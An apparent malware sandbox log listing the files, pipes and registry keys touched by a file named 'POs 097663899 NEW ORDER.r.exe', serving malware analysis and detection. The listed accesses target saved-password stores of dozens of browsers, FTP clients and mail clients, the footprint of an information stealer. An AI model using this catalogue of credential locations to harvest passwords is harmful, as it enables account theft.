C:\Windows\System32\en-US\KERNELBASE.dll.mui
C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers\dde965f45fc6933d4ad380bea5e0438d\CustomMarshalers.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers\dde965f45fc6933d4ad380bea5e0438d\CustomMarshalers.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll.config
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\d3e15922b03ec29aed46615adda73f3d\System.Management.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\d3e15922b03ec29aed46615adda73f3d\System.Management.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.JScript\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\wminet_utils.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll
C:\%insfolder%\%insname%
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Users\Rebecca\AppData\Local\Orbitum\User Data
C:\Users\Rebecca\AppData\Local\360Chrome\Chrome\User Data
C:\Users\Rebecca\AppData\Local\BraveSoftware\Brave-Browser\User Data
C:\Users\Rebecca\AppData\Local\CocCoc\Browser\User Data
C:\Users\Rebecca\AppData\Local\CatalinaGroup\Citrio\User Data
C:\Users\Rebecca\AppData\Local\7Star\7Star\User Data
C:\Users\Rebecca\AppData\Local\Amigo\User Data
C:\Users\Rebecca\AppData\Local\Kometa\User Data
C:\Users\Rebecca\AppData\Local\Sputnik\Sputnik\User Data
C:\Users\Rebecca\AppData\Local\Iridium\User Data
C:\Users\Rebecca\AppData\Local\Chromium\User Data
C:\Users\Rebecca\AppData\Local\Torch\User Data
C:\Users\Rebecca\AppData\Local\QIP Surf\User Data
C:\Users\Rebecca\AppData\Local\Chedot\User Data
C:\Users\Rebecca\AppData\Roaming\Opera Software\Opera Stable
C:\Users\Rebecca\AppData\Local\Epic Privacy Browser\User Data
C:\Users\Rebecca\AppData\Local\liebao\User Data
C:\Users\Rebecca\AppData\Local\uCozMedia\Uran\User Data
C:\Users\Rebecca\AppData\Local\MapleStudio\ChromePlus\User Data
C:\Users\Rebecca\AppData\Local\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
C:\Users\Rebecca\AppData\Local\Coowon\Coowon\User Data
C:\Users\Rebecca\AppData\Local\CentBrowser\User Data
C:\Users\Rebecca\AppData\Local\Vivaldi\User Data
C:\Users\Rebecca\AppData\Local\Elements Browser\User Data
C:\Users\Rebecca\AppData\Local\Yandex\YandexBrowser\User Data
C:\Users\Rebecca\AppData\Local\Comodo\Dragon\User Data
C:\Users\Rebecca\AppData\Local\UCBrowser\*
C:\Users\Rebecca\AppData\Roaming\Moonchild Productions\Pale Moon\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Flock\Browser\profiles.ini
C:\Users\Rebecca\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Rebecca\AppData\Roaming\Trillian\users\global\accounts.dat
C:\Users\Rebecca\AppData\Local\Tencent\QQBrowser\User Data
C:\Users\Rebecca\AppData\Local\Tencent\QQBrowser\User Data\Default\EncryptedStorage
C:\Users\Rebecca\AppData\Roaming\Waterfox\profiles.ini
C:\Users\Rebecca\AppData\Roaming\CoreFTP\sites.idx
C:\Windows\System32\wshom.ocx
C:\Windows\System32\en-US\wshom.ocx.mui
C:\Users\All Users\AppData\Roaming\FlashFXP\3quick.dat
C:\Users\Rebecca\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini
C:\Users\Rebecca\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
C:\Users\Rebecca\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml
C:\Users\Rebecca\AppData\Roaming\K-Meleon\profiles.ini
C:\Users\Rebecca\AppData\Local\Google\Chrome\User Data\
C:\Users\Rebecca\AppData\Local\Google\Chrome\User Data\*
C:\Users\Rebecca\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\Rebecca\AppData\Local\Google\Chrome\User Data\Login Data
C:\FTP Navigator\Ftplist.txt
C:\Users\Rebecca\AppData\Local\Temp\Folder.lst
C:\Users\Rebecca\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini
C:\Storage\
C:\mail\
C:\Users\Rebecca\AppData\Local\VirtualStore\Program Files\Foxmail\mail\
C:\Users\Rebecca\AppData\Local\VirtualStore\Program Files (x86)\Foxmail\mail\
C:\Users\Rebecca\AppData\Roaming\FTPGetter\servers.xml
C:\Users\Rebecca\AppData\Roaming\Mozilla\icecat\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Thunderbird\profiles.ini
C:\Program Files\jDownloader\config\database.script
C:\Users\Rebecca\AppData\Local\Microsoft\Edge\User Data
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vaultcli.dll
C:\Windows\System32\tzres.dll
C:\Windows\System32\en-US\tzres.dll.mui
C:\cftp\Ftplist.txt
C:\Users\Rebecca\AppData\Roaming\Pocomail\accounts.ini
C:\Users\Rebecca\AppData\Roaming\The Bat!
C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\Profiles\48wgv2fv.default\logins.json
C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\Profiles\48wgv2fv.default\key4.db
C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\Profiles\48wgv2fv.default\signons.sqlite
C:\Program Files\Common Files\Apple\Apple Application Support\plutil.exe
C:\Users\Rebecca\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
C:\Users\Rebecca\AppData\Roaming\Claws-mail
C:\Users\Rebecca\AppData\Roaming\Claws-mail\clawsrc
C:\Users\Rebecca\AppData\Local\falkon\profiles\profiles.ini
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\a3abb36b9f9e867b09bb3a670b074c45\System.Xml.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\a3abb36b9f9e867b09bb3a670b074c45\System.Xml.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll
C:\Users\Rebecca\AppData\Roaming\Psi\profiles
C:\Users\Rebecca\AppData\Roaming\Psi+\profiles
C:\Users\Rebecca\AppData\Roaming\Comodo\IceDragon\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Postbox\profiles.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2f61c87db96dbe27deea0e525a665761\System.Configuration.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2f61c87db96dbe27deea0e525a665761\System.Configuration.ni.dll.aux
C:\Windows\System32\en-US\VssTrace.DLL.mui
\??\PIPE\samr
C:\Windows\System32\wbem\repository
C:\Windows\System32\wbem\Logs
C:\Windows\System32\wbem\AutoRecover
C:\Windows\System32\wbem\MOF
C:\Windows\System32\wbem\repository\INDEX.BTR
C:\Windows\System32\wbem\repository\WRITABLE.TST
C:\Windows\System32\wbem\repository\MAPPING1.MAP
C:\Windows\System32\wbem\repository\MAPPING2.MAP
C:\Windows\System32\wbem\repository\MAPPING3.MAP
C:\Windows\System32\wbem\repository\OBJECTS.DATA
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
C:\Windows\Temp
C:\Windows\System32\LogFiles\Scm\a1cfa52f-06f2-418d-addb-cd6456d66f43
C:\Windows\System32\en-US\REG.exe.mui
C:\Windows\System32\api-ms-win-core-fibers-l1-1-1.DLL
C:\Windows\System32\api-ms-win-core-localization-l1-2-1.DLL
C:\Program Files\Google\Update\goopdate.dll
C:\Program Files\Google\Update\1.3.35.451\goopdate.dll
C:\Windows\System32\IPHLPAPI.DLL
C:\Windows\System32\winnsi.dll
C:\Windows\System32\msi.dll
C:\Windows\System32\netapi32.dll
C:\Windows\System32\netutils.dll
C:\Windows\System32\srvcli.dll
C:\Windows\System32\version.dll
C:\Windows\System32\userenv.dll
C:\Windows\System32\profapi.dll
C:\Windows\System32\wtsapi32.dll
C:\Program Files\Google\Update\GoogleUpdate.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\comctl32.dll
C:\Windows\System32\msimg32.dll
C:\Windows\System32\uxtheme.dll
C:\GoogleUpdate.ini
C:\Windows\System32
C:\Program Files
C:\Program Files\Google
C:\Program Files\Google\CrashReports
\??\pipe\GoogleCrashServices\S-1-5-18
\Device\KsecDD
C:\Program Files\Google\Update\1.3.35.451
C:\Program Files\Google\Update\1.3.35.451\goopdateres_en.dll
C:\Program Files\Google\Policies
C:\Program Files\Google\Update\1.3.35.451\psmachine.dll
C:\Program Files\Google\Update
C:\Program Files\Google\Update\Download
C:\Program Files\Google\Update\Download\*
C:\Program Files\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\*
C:\Program Files\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\81.0.4044.113\*
C:\Program Files\Google\Update\Install
C:\Program Files\Google\Update\Install\*.*
C:\Program Files\Google\Update\Download\{430FD4D0-B729-4F61-AA34-91526481799D}\*
C:\Windows\System32\winhttp.dll
C:\Windows\System32\webio.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.exe.config
C:\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol224.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\GdiPlus.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe.Config
C:\Windows\System32\wbem\wbemdisp.tlb
C:\Windows\System32\en-US\KERNELBASE.dll.mui
C:\Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers\dde965f45fc6933d4ad380bea5e0438d\CustomMarshalers.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers\dde965f45fc6933d4ad380bea5e0438d\CustomMarshalers.ni.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll.config
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\d3e15922b03ec29aed46615adda73f3d\System.Management.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\d3e15922b03ec29aed46615adda73f3d\System.Management.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\wminet_utils.dll
C:\Users\Rebecca\AppData\Roaming\Moonchild Productions\Pale Moon\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Flock\Browser\profiles.ini
C:\Users\Rebecca\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Rebecca\AppData\Roaming\Waterfox\profiles.ini
C:\Users\Rebecca\AppData\Roaming\CoreFTP\sites.idx
C:\Windows\System32\wshom.ocx
C:\Windows\System32\en-US\wshom.ocx.mui
C:\Users\Rebecca\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
C:\Users\Rebecca\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
C:\Users\Rebecca\AppData\Roaming\K-Meleon\profiles.ini
C:\Users\Rebecca\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\FTP Navigator\Ftplist.txt
C:\Users\Rebecca\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Mozilla\icecat\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Thunderbird\profiles.ini
C:\Windows\System32\tzres.dll
C:\Windows\System32\en-US\tzres.dll.mui
C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\Profiles\48wgv2fv.default\key4.db
C:\Users\Rebecca\AppData\Local\falkon\profiles\profiles.ini
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\a3abb36b9f9e867b09bb3a670b074c45\System.Xml.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\a3abb36b9f9e867b09bb3a670b074c45\System.Xml.ni.dll
C:\Users\Rebecca\AppData\Roaming\Comodo\IceDragon\profiles.ini
C:\Users\Rebecca\AppData\Roaming\Postbox\profiles.ini
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2f61c87db96dbe27deea0e525a665761\System.Configuration.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2f61c87db96dbe27deea0e525a665761\System.Configuration.ni.dll
C:\Windows\System32\en-US\VssTrace.DLL.mui
\??\PIPE\samr
C:\Windows\System32\wbem\repository\MAPPING1.MAP
C:\Windows\System32\wbem\repository\MAPPING2.MAP
C:\Windows\System32\wbem\repository\MAPPING3.MAP
C:\Windows\System32\wbem\repository\OBJECTS.DATA
C:\Windows\System32\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
C:\Windows\System32\LogFiles\Scm\a1cfa52f-06f2-418d-addb-cd6456d66f43
C:\Windows\System32\en-US\REG.exe.mui
C:\Program Files\Google\Update\1.3.35.451\goopdate.dll
C:\Windows\System32\IPHLPAPI.DLL
C:\Windows\System32\winnsi.dll
C:\Windows\System32\msi.dll
C:\Windows\System32\netapi32.dll
C:\Windows\System32\netutils.dll
C:\Windows\System32\srvcli.dll
C:\Windows\System32\version.dll
C:\Windows\System32\userenv.dll
C:\Windows\System32\profapi.dll
C:\Windows\System32\wtsapi32.dll
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\comctl32.dll
C:\Windows\System32\msimg32.dll
C:\Windows\System32\uxtheme.dll
C:\Program Files\Google\CrashReports
\??\pipe\GoogleCrashServices\S-1-5-18
\Device\KsecDD
C:\Program Files\Google\Update\1.3.35.451\goopdateres_en.dll
C:\Program Files\Google\Update\1.3.35.451\psmachine.dll
C:\Windows\System32\winhttp.dll
C:\Windows\System32\webio.dll
C:\Windows\System32\drivers\etc\hosts
\??\PIPE\samr
C:\Windows\System32\wbem\repository\WRITABLE.TST
C:\Windows\System32\wbem\repository\MAPPING1.MAP
C:\Windows\System32\wbem\repository\MAPPING2.MAP
C:\Windows\System32\wbem\repository\MAPPING3.MAP
C:\Windows\System32\wbem\repository\OBJECTS.DATA
C:\Windows\System32\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\pipe\GoogleCrashServices\S-1-5-18
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\POs 097663899 NEW ORDER.r.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions\00060101.00060101
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\FeatureSIMD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index224
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\AppContext
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-479431668-4257340731-3059248302-1002\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|POs 097663899 NEW ORDER.r.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|POs 097663899 NEW ORDER.r.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|POs 097663899 NEW ORDER.r.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-479431668-4257340731-3059248302-1002\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
